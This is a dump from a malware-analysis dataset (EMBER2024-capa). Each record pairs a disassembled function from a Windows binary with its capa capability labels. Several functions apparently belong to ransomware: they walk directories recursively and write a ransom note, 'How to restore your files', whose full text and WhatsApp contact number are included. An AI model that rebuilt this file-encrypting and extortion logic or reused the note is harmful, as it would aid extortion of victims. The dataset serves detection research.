joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400118b1
Capabilities:
Terminate process

Disassembly:
jmp 0x140019ab0
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140031040]
xor rax, rbp
mov qword [rbp + 0x128], rax
lea rcx, reloc.d2d1.dll_Ordinal_1
call fcn.1400118a2
nop
lea rax, [rbp + 0x114]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x114]
lea rcx, [rbp + 8]
call fcn.1400192b0
nop
lea rcx, [rbp + 8]
call fcn.140011929
nop
xor eax, eax
cmp eax, 1
je 0x140019b59
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rdx, str.Naraka
lea rcx, str.UnityWndClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [rbp + 0x38], rax
cmp qword [rbp + 0x38], 0
jne 0x140019b57
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x140019b1c
lea rcx, [rbp + 8]
call fcn.1400113e8
nop
lea rcx, [rbp - 0x20]
lea rdx, reloc.d2d1.dll_Ordinal_1
call fcn.140011749
mov rcx, qword [rbp + 0x128]
xor rcx, rbp
call fcn.14001143d
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret

Function at 0x140019470
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
mov rax, qword [0x140031040]
xor rax, rbp
mov qword [rbp + 0x120], rax
lea rcx, [0x140038232]
call fcn.1400118a2
nop
mov edx, 8
lea rcx, [rbp + 8]
call fcn.140019a70
mov rdx, qword [rbp + 0x158]
lea rcx, [rbp + 0x108]
call fcn.140019720
mov qword [rbp + 0x118], rax
mov rdx, qword [rbp + 0x118]
lea rcx, [rbp + 8]
call fcn.140019000
nop
lea rcx, [rbp + 0x108]
call fcn.140019820
nop
lea rax, [0x140019360]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x150]
add rax, 8
mov qword [rbp + 0x118], rax
lea rcx, [rbp + 8]
call fcn.140019da0
mov rcx, qword [rbp + 0x118]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x28]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll__beginthreadex]
mov rcx, qword [rbp + 0x150]
mov qword [rcx], rax
mov rax, qword [rbp + 0x150]
cmp qword [rax], 0
je 0x140019573
lea rcx, [rbp + 8]
call fcn.140019eb0
nop
jmp 0x14001958c
mov rax, qword [rbp + 0x150]
mov dword [rax + 8], 0
mov ecx, 6
call fcn.140011208
nop
lea rcx, [rbp + 8]
call fcn.140019820
nop
lea rcx, [rbp - 0x30]
lea rdx, reloc.d2d1.dll_Ordinal_1
call fcn.140011749
mov rcx, qword [rbp + 0x120]
xor rcx, rbp
call fcn.14001143d
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret
Function at 0x1400209f0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400118fc
movzx eax, al
test eax, eax
jne 0x140020a10
mov ecx, 7
call fcn.140011762
nop
mov byte [rsp + 0x20], 0
call fcn.14001179e
mov byte [rsp + 0x21], al
cmp dword [0x140031598], 1
jne 0x140020a34
mov ecx, 7
call fcn.140011762
nop
jmp 0x140020a8c
cmp dword [0x140031598], 0
jne 0x140020a87
mov dword [0x140031598], 1
lea rdx, [0x140029770]
lea rcx, [0x140029440]
call fcn.140011424
test eax, eax
je 0x140020a68
mov eax, 0xff
jmp 0x140020b91
lea rdx, [0x140029330]
lea rcx, [section..rdata]
call fcn.140011780
mov dword [0x140031598], 2
jmp 0x140020a8c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001173f
call fcn.140011659
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140020ae9
mov rcx, qword [rsp + 0x30]
call fcn.140011348
movzx eax, al
test eax, eax
je 0x140020ae9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140039020]
nop
call fcn.1400116ae
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140020b1d
mov rcx, qword [rsp + 0x38]
call fcn.140011348
movzx eax, al
test eax, eax
je 0x140020b1d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.14001185c
nop
call fcn.140020c00
mov dword [rsp + 0x28], eax
call fcn.140011613
movzx eax, al
test eax, eax
jne 0x140020b3c
mov ecx, dword [rsp + 0x28]
call fcn.1400110be
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140020b4b
call fcn.140011875
nop
xor edx, edx
mov cl, 1
call fcn.140011311
mov eax, dword [rsp + 0x28]
jmp 0x140020b91
add rsp, 0x68
ret
Function at 0x14068f280
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14068f407
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14068f2b1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14068f297
add dl, dl
jne 0x14068f2be
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14068f31e
xor eax, eax
add dl, dl
jne 0x14068f2cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14068f3d5
add dl, dl
jne 0x14068f2de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14068f2eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14068f2f8
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14068f305
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14068f312
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14068f2a6
mov eax, 1
add dl, dl
jne 0x14068f32e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14068f33b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14068f323
sub eax, ebx
mov ebx, 1
jne 0x14068f374
mov ecx, 1
add dl, dl
jne 0x14068f356
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14068f363
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14068f34b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14068f2a6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14068f390
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14068f39d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14068f385
cmp eax, 0x7d00
jae 0x14068f3c3
cmp eax, 0x500
jb 0x14068f3be
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14068f2a6
cmp eax, 0x7f
ja 0x14068f3c6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14068f2a6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14068f3fa
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14068f2a6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000ac30]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000ac40]
mov dword [rax], 1
mov rax, qword [0x14000ac50]
mov dword [rax], 1
mov rax, qword [0x14000ac20]
mov dword [rax], 1
mov rax, qword [0x14000aae0]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x14000ac10]
mov dword [0x14000e020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010c0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000abd0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000abb0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000aa90]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067

Function at 0x14000181d
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
movzx eax, byte [0x14000e140]
xor eax, 1
test al, al
je 0x140001874
lea rax, [0x14000e160]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
movzx eax, byte [0x14000e140]
xor eax, 1
test al, al
je 0x140001861
call sym.initialize_map
lea rax, [0x14000e160]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
mov qword [rbp - 8], 0
jmp 0x1400018bb
mov rdx, qword [rbp + 0x10]
mov rax, qword [rbp - 8]
add rax, rdx
movzx eax, byte [rax]
movzx eax, al
cdqe
lea rdx, [0x14000e040]
movzx eax, byte [rax + rdx]
mov byte [rbp - 9], al
cmp byte [rbp - 9], 0
je 0x1400018b6
mov rdx, qword [rbp + 0x10]
mov rax, qword [rbp - 8]
add rdx, rax
movzx eax, byte [rbp - 9]
mov byte [rdx], al
add qword [rbp - 8], 1
mov rax, qword [rbp - 8]
cmp rax, qword [rbp + 0x18]
jb 0x14000187e
mov rax, qword [rbp + 0x10]
add rsp, 0x30
pop rbp
ret
Function at 0x140001c71
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
mov eax, 0x1990
call fcn.1400037d0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1920], rcx
mov rax, qword [rbp + 0x1920]
mov qword [rbp + 0x1908], rax
mov rdx, qword [rbp + 0x1908]
lea rax, [rbp + 0x10f0]
mov r9, rdx
lea r8, str._s
mov edx, 0x800
mov rcx, rax
call sym.snprintf
lea rdx, [rbp + 0xfb0]
lea rax, [rbp + 0x10f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x1900], rax
cmp qword [rbp + 0x1900], 0xffffffffffffffff
jne 0x140001d05
mov rax, qword [rbp + 0x1908]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
jmp 0x140001ef6
mov rdx, qword [rbp + 0x1908]
lea rax, [rbp + 0x7b0]
mov r9, rdx
lea r8, str._sHow_to_restore_your_files.txt
mov edx, 0x800
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0x7b0]
lea rdx, [0x14000a081]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x18f8], rax
cmp qword [rbp + 0x18f8], 0
je 0x140001e14
mov rax, qword [rbp + 0x18f8]
lea rdx, str._nPay_Attention__n_n
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x18f8]
lea rdx, str.Your_files_have_been_encrypted_due_to_unauthorized_use_of_our_item._n_n
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x18f8]
lea rdx, str.Only_we_can_restore_your_files__if_anyone_attempt_to_mess_with_your_files_n
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x18f8]
lea rdx, str.trying_to_restore_them_back__you_will_definitely_loss_those_files_forever._n_n
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x18f8]
lea rdx, str.To_restore_your_files__you_must_buy_a_special_program__this_program_belong_to_us_alone._n_n
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x18f8]
lea rdx, str.Remember_this_is_a_private_deal__and_were_anonymous__you_dont_know_us_do_you__n_n
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x18f8]
lea rdx, str.Contact_us_when_youre_ready_to_pay__otherwise_dont._n_n
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x18f8]
lea rdx, str.WhatsApp:_201553002879
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x18f8]
mov rcx, rax
call sym.fclose
mov eax, dword [rbp + 0xfb0]
and eax, 0x10
test eax, eax
je 0x140001e9e
lea rax, [rbp + 0xfb0]
add rax, 0x2c
lea rdx, [0x14000a288]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001e9d
lea rax, [rbp + 0xfb0]
add rax, 0x2c
lea rdx, [0x14000a28a]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001e9d
mov rcx, qword [rbp + 0x1908]
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0xfb0]
add rdx, 0x2c
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x800
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.search_directory
jmp 0x140001e9e
nop
lea rdx, [rbp + 0xfb0]
mov rax, qword [rbp + 0x1900]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
jne 0x140001e14
mov rax, qword [rbp + 0x1900]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
mov rax, qword [rbp + 0x1908]
mov rcx, rax
call sym.find_all_files
mov rax, qword [rbp + 0x1908]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
add rsp, 0x1990
pop rbp
ret
Function at 0x140001eff
Capabilities:
Enumerate files on windows

Disassembly:
push rbp
mov eax, 0x1980
call fcn.1400037d0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1910], rcx
lea rax, [rbp + 0x10f0]
mov r9, qword [rbp + 0x1910]
lea r8, str._s
mov edx, 0x800
mov rcx, rax
call sym.snprintf
lea rdx, [rbp + 0xfb0]
lea rax, [rbp + 0x10f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x18f8], rax
cmp qword [rbp + 0x18f8], 0xffffffffffffffff
je 0x140002143
lea rax, [rbp + 0x7b0]
mov r9, qword [rbp + 0x1910]
lea r8, str._sHow_to_restore_your_files.txt
mov edx, 0x800
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0x7b0]
lea rdx, [0x14000a081]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x18f0], rax
cmp qword [rbp + 0x18f0], 0
je 0x140002079
mov rax, qword [rbp + 0x18f0]
lea rdx, str._nPay_Attention__n_n
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x18f0]
lea rdx, str.Your_files_have_been_encrypted_due_to_unauthorized_use_of_our_item._n_n
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x18f0]
lea rdx, str.Only_we_can_restore_your_files__if_anyone_attempt_to_mess_with_your_files_n
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x18f0]
lea rdx, str.trying_to_restore_them_back__you_will_definitely_loss_those_files_forever._n_n
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x18f0]
lea rdx, str.To_restore_your_files__you_must_buy_a_special_program__this_program_belong_to_us_alone._n_n
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x18f0]
lea rdx, str.Remember_this_is_a_private_deal__and_were_anonymous__you_dont_know_us_do_you__n_n
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x18f0]
lea rdx, str.Contact_us_when_youre_ready_to_pay__otherwise_dont._n_n
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x18f0]
lea rdx, str.WhatsApp:_201553002879
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x18f0]
mov rcx, rax
call sym.fclose
mov eax, dword [rbp + 0xfb0]
and eax, 0x10
test eax, eax
je 0x140002100
lea rax, [rbp + 0xfb0]
add rax, 0x2c
lea rdx, [0x14000a288]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x1400020ff
lea rax, [rbp + 0xfb0]
add rax, 0x2c
lea rdx, [0x14000a28a]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x1400020ff
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0xfb0]
add rdx, 0x2c
mov qword [rsp + 0x20], rdx
mov r9, qword [rbp + 0x1910]
lea r8, str._s_s
mov edx, 0x800
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.search_directory
jmp 0x140002100
nop
lea rdx, [rbp + 0xfb0]
mov rax, qword [rbp + 0x18f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
jne 0x140002079
mov rax, qword [rbp + 0x18f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
mov rcx, qword [rbp + 0x1910]
call sym.find_all_files
jmp 0x140002144
nop
add rsp, 0x1980
pop rbp
ret
Function at 0x14000214d
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0xffffffff
je 0x140002180
mov eax, dword [rbp - 4]
and eax, 0x10
test eax, eax
je 0x140002180
mov eax, 1
jmp 0x140002185
mov eax, 0
and eax, 1
add rsp, 0x30
pop rbp
ret

Function at 0x14000218e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0xffffffff
je 0x1400021c1
mov eax, dword [rbp - 4]
and eax, 0x10
test eax, eax
jne 0x1400021c1
mov eax, 1
jmp 0x1400021c6
mov eax, 0
and eax, 1
add rsp, 0x30
pop rbp
ret

Function at 0x1400021cf
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
lea rax, [0x14000a029]
mov rdx, rax
mov rcx, qword [rbp + 0x10]
call sym.fopen
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x1400022fb
mov rax, qword [rbp - 8]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.ftell
mov dword [rbp - 0xc], eax
mov rax, qword [rbp - 8]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
mov eax, dword [rbp - 0xc]
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x140002267
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
jmp 0x1400022fc
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
mov rcx, qword [rbp - 8]
mov rax, qword [rbp - 0x18]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x18]
lea rdx, [0x14000a059]
mov rcx, rax
call sym.fopen
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x1400022c0
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x1400022fc
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
mov rcx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x18]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x1400022fc
nop
add rsp, 0x40
pop rbp
ret
Function at 0x140002ad0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]

Function at 0x140002b40
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x14000e214]
mov r12, rcx
test ebx, ebx
jle 0x140002c70
mov rax, qword [0x14000e218]
xor r9d, r9d
add rax, 0x18
nop dword [rax + rax]
mov r8, qword [rax]
cmp r8, r12
ja 0x140002b8b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp r12, r8
jb 0x140002c15
add r9d, 1
add rax, 0x28
cmp r9d, ebx
jne 0x140002b70
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x140002c92
mov rax, qword [0x14000e218]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rsi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e218]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002c77
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002c0e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002c20
add dword [0x14000e214], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x14000e218]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002c0e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x140002b98
mov rax, qword [0x14000e218]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003160
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r13, [0x14000e280]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e260]
test rbx, rbx
je 0x1400031bc
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x1400031b3
test r12, r12
je 0x1400031b3
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003198
mov rcx, r13
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop r12
pop r13
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400033f0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140003408
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140003410
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140003420
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x140003465
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x14000345c
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x140003467
add rax, 0x28
cmp rax, r9
jne 0x140003448
xor eax, eax
ret

Function at 0x140003470
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x140003500
mov rdx, qword [0x14000aae0]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x1400034ee
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400034ee
cmp word [rax + 0x18], 0x20b
jne 0x1400034ee
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x140003500
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x1400034d9
add r12, 0x28
cmp r12, rsi
je 0x140003500
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x1400034d0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x140003510
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000aae0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003530
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003538
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003530
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140003585
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000357c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003530
add rax, 0x28
cmp rax, r9
jne 0x140003568
xor eax, eax
ret

Function at 0x140003590
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000aae0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1400035b0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400035b8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400035b0
movzx r8d, word [rax + 6]
mov eax, r8d
ret